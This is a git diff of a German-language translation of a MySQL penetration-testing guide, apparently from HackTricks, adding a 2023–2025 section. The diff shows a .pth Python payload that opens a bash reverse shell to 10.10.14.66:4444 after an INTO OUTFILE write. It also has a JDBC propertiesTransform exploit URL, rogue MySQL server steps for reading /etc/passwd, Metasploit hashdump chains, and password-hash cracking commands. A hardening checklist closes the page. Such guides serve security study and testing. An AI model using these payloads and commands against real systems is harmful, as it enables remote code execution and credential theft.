diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index a59ddb909..b9d106f2e 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -17,7 +17,7 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Remote +### Fernzugriff ```bash mysql -h -u root mysql -h -u root@localhost @@ -114,10 +114,10 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do Durch den Missbrauch des klassischen `INTO OUTFILE`-Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen. 1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`). -2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird. +2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von willkürlichem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird. 3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE). -Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der endgültigen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich): +Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` @@ -129,7 +129,7 @@ Wichtige Einschränkungen & Umgehungen: * `INTO OUTFILE` **kann vorhandene** Dateien **nicht überschreiben**; wählen Sie einen neuen Dateinamen. * Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, um den Pfad zu verkürzen und Einschränkungen bei absoluten Pfaden zu umgehen. -* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload abschneiden; verwenden Sie MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen. +* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload kürzen; verwenden Sie MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen. * Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Geräten (z.B. FortiWeb) läuft der Dienst als **root**, was fast überall Schreibzugriff gewährt. Nachdem die `.pth` abgelegt wurde, fordern Sie einfach ein CGI an, das vom Python-Interpreter verarbeitet wird, um Codeausführung zu erhalten: @@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In diesem Papier finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**In diesem Dokument finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Hier finden Sie eine Übersicht über den Angriff:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -261,7 +261,7 @@ Sie können **diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenba In der Datei: _/var/lib/mysql/mysql/user.MYD_ finden Sie **alle Hashes der MySQL-Benutzer** (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können)_._ -Sie können sie extrahieren, indem Sie Folgendes tun: +Sie können sie extrahieren, indem Sie: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` @@ -295,7 +295,7 @@ Konfigurationsdateien - update.log - common.log -## Standard MySQL-Datenbank/Tabellen +## Standard MySQL-Datenbank/-Tabellen {{#tabs}} {{#tab name="information_schema"}} @@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## Referenzen -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +## 2023-2025 Highlights (neu) + +### JDBC `propertiesTransform` Deserialisierung (CVE-2023-21971) +Von Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC-URL** beeinflussen kann (zum Beispiel in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), beliebige Klassen anfordern, die auf der *Client*-Seite über den `propertiesTransform`-Parameter geladen werden. Wenn ein Gadget, das im Klassenpfad vorhanden ist, ladbar ist, führt dies zu **Remote-Code-Ausführung im Kontext des JDBC-Clients** (pre-auth, da keine gültigen Anmeldeinformationen erforderlich sind). Ein minimales PoC sieht so aus: +```java +jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil +``` +Das Ausführen von `Evil.class` kann so einfach sein wie das Bereitstellen im Klassenpfad der verwundbaren Anwendung oder das Zulassen eines bösartigen MySQL-Servers, der ein schädliches serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie `propertiesTransform` explizit auf eine Zulassungsliste. +(Siehe Snyk-Bericht für Details) + +### Angriffe von bösartigen / gefälschten MySQL-Servern gegen JDBC-Clients +Mehrere Open-Source-Tools implementieren ein *teilweises* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden: + +* **mysql-fake-server** (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits) +* **rogue_mysql_server** (Python, ähnliche Fähigkeiten) + +Typische Angriffswege: + +1. Die Opferanwendung lädt `mysql-connector-j` mit `allowLoadLocalInfile=true` oder `autoDeserialize=true`. +2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine aufgelöst wird, die unter seiner Kontrolle steht. +3. Der bösartige Server antwortet mit gestalteten Paketen, die entweder `LOCAL INFILE` willkürliches Datei-Lesen oder Java-Deserialisierung → RCE auslösen. + +Beispiel für eine Einzeile zum Starten eines gefälschten Servers (Java): +```bash +java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server +``` +Dann weisen Sie die Opferanwendung auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lesen Sie `/etc/passwd`, indem Sie den Dateinamen im *Benutzernamen*-Feld als base64 kodieren (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). + +### Knacken von `caching_sha2_password`-Hashes +MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (Modus **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen das Offline-Knacken seit 2023. Dumpen Sie die `authentication_string`-Spalte und füttern Sie sie direkt ein: +```bash +# extract hashes +echo "$mysql-sha2$AABBCC…" > hashes.txt +# Hashcat +hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist +# John the Ripper +john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist +``` +### Hardening checklist (2025) +• Setze **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese-/Schreib-Primitiven zu deaktivieren. +• Entferne das **`FILE`**-Privileg von Anwendungs-Konten. +• Setze bei Connector/J `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer). +• Deaktiviere ungenutzte Authentifizierungs-Plugins und **erfordere TLS** (`require_secure_transport = ON`). +• Überwache `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen. + +--- + +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}}